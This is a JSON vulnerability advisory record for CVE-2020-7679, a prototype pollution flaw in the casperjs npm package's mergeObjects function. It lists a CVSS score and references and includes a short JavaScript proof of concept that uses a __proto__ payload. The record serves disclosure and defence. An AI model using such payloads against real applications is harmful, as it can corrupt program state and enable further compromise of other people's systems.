{"id":"CVE-2020-7679","aliases":[],"url":"https://o3.security/vulnerability/CVE-2020-7679","summary":"Improperly Controlled Modification of Dynamically-Determined Object Attributes in casperjs","details":"### Overview\ncasperjs is a navigation scripting & testing utility for PhantomJS and SlimerJS.\n\nAffected versions of this package are vulnerable to Prototype Pollution via the mergeObjects utility function.\n\n### PoC\n```js\nvar payload = JSON.parse('{\"__proto__\": {\"a\": \"pwned\"}}');\nmergeObjects({}, payload);\nconsole.log({}.a); // prints \"pwned\"\n```","published":"2021-05-17T21:00:52Z","modified":"2023-11-08T04:04:04.341567Z","cvss":{"score":7.3,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"casperjs","fixedVersion":null}],"fix":null,"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7679"},{"type":"PACKAGE","url":"https://github.com/casperjs/casperjs"},{"type":"WEB","url":"https://github.com/casperjs/casperjs/blob/master/modules/utils.js%23L680"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-572804"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-JS-CASPERJS-572803"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2023-11-08T04:04:04.341567Z"}}